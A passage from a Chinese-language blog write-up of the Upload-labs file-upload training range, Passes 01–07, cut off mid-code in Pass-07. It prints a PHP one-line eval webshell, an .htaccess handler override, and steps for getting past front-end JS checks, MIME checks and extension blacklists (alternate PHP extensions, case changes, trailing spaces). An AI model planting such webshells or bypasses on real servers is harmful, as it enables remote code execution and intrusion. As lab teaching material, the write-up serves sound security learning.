Upload-labs-master 最新Pass01-Pass19——详细Write up

本文围绕Upload-labs展开,介绍了多关文件上传绕过方法。如JS前端绕过、MIME绕过、特殊解析后缀绕过等。涉及前端代码修改、burp抓包、利用系统特性等手段,还提及图片马制作、二次渲染处理、条件竞争利用等,最后指出文件上传漏洞实战较少。

Upload-labs

Pass-01

JS前端绕过

上传一句话木马,内容为

<?php
@eval($_REQUEST["cmd"]);
?>

然后上传shell.php

image-20230802134209247

通过弹窗可以判断出是JS前端验证,众所周知,前端验证等于不存在

image-20230802134229947

从form表单可以看出他在使用了onsubmit这个函数触发了鼠标的单击事件

image-20230802134701284

表单提交后,调用了return checkfile这个函数对上传的文件进行检查

方法一:

创建一个新的html文件,将页面的源代码复制下来,进行修改删除操作禁用掉里面的js脚本

image-20230802135936492

讲此函数及其内容删除

image-20230802140029763

然后在删除onsubmit="return checkFile()"的地方添加,也就是第一关的提交地址

action="http://127.0.0.1/upload-labs/Pass-01/index.php"

image-20230802140154772

方法二:

直接在浏览器中修改前端代码

也就是在此界面直接将return checkFile()删掉

image-20230802134701284

删除

image-20230802140906534

但是这种做法有一种风险,可能会含有一些正常的js,如果把正常的js删掉会影响正常的上传操作

方法三:

burp抓包修改

上传前,随便使用一张图片格式的照片进行上传比如1.png 使用bp进行拦截,将filename=cmd.jpg 修改成cmd.php 并且把 图片的内容进行替换,替换成一句话木马绕过

image-20230802141905426

然后去访问cmd.php,上传成功

image-20230802142119358

这里路径自己判断一下,我把靶场的上传路径变成了当前文件夹,所以路径就是

http://127.0.0.1/upload-labs/Pass-01/cmd.php

靶场默认的路径是../upload

Pass-02

MIME绕过

直接上传php文件会被检测到

image-20230802143122853

通过源代码可以看出后端是对MIME类型进行校验

image-20230802143217757

利用burp抓包,修改MIME类型

image-20230802143708895

修改为image/jpeg,上传成功

image-20230802143749089

Pass-03

特殊解析后缀绕过

上传shell.php文件失败,是后端验证

image-20230802144244104

通过代码可以看出是黑名单过滤

image-20230802144327061

只过滤掉了这几种特定的后缀,那我们可以通过php的别名来绕过过滤

php开发了这么久了,不止只有这一个文件名,我们可以使用其他的php的别名进行绕过:.php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 (但是这里是有前提条件的)就是对方的服务器的配置有对这些php其他的文件名配置了解析的设置,否认就算你上传上去了,还是解析失败。

所以可以上传.phtml后缀的php文件

image-20230802144701437

可以看到上传成功

image-20230802144847716

Pass-04

.htaccess解析文件绕过

这里基本把和php有关的后缀名全部过滤了,但是没有对.htaccess进行验证,所以我们可以用.htaccess进行绕过

.htaccess功能介绍:htaccess文件是Apache服务器中的一个配置文件。这个文件可以不用获得root权限,就可以更改这个目录下的所有的文件配置。那么说明只要创建一个.htaccess的文件,并且写入php的 配置,上传到这个服务器上,那么这个.htaccess所在的目录下的所有文件的配置就会都修改成转换成php的解析格式。(.htaccess文件只对Apache服务器有效)。

首先创建一个.htaccess文件并写入

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传该文件

image-20230802150500826

将一句话木马文件改为jpg格式,然后上传

image-20230802150643700

访问cmd.jpg就可显示phpinfo信息

Pass-05

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   
   
    if (file_exists($UPLOAD_ADDR)) {
   
   
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
   
   
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
   
   
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
   
   
            $msg = '此文件不允许上传';
        }
    } else {
   
   
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

这里和之前的源码对比一下,可以发现没有使用strtolower()函数,也就是把后缀都转化为小写,那么我们就可以使用大小写的方式进行绕过

先上传shell.php,然后利用burp抓包,后缀改为PHP

image-20230802165024305

访问shell.php来getshell

image-20230802165219062

Pass-06

空格绕过

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   
   
    if (file_exists($UPLOAD_ADDR)) {
   
   
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
   
   
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
   
   
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
   
   
            $msg = '此文件不允许上传';
        }
    } else {
   
   
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

从源码中可以看出没有对文件名后缀的空格使用trim()进行过滤

trim():去除左右两侧的空白

借助windows系统的特性,文件名中的空格在最后保存文件时会被作为空处理,最后在保存的时候把后面的空格自动删除掉。

所以我们可以上传文件,在文件最后添加一个空格,即

image-20230802170252182

上传成功

Pass-07

点绕过

源码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   
   
    if (file_exists($UPLOAD_ADDR)) {
   
   
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = 
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值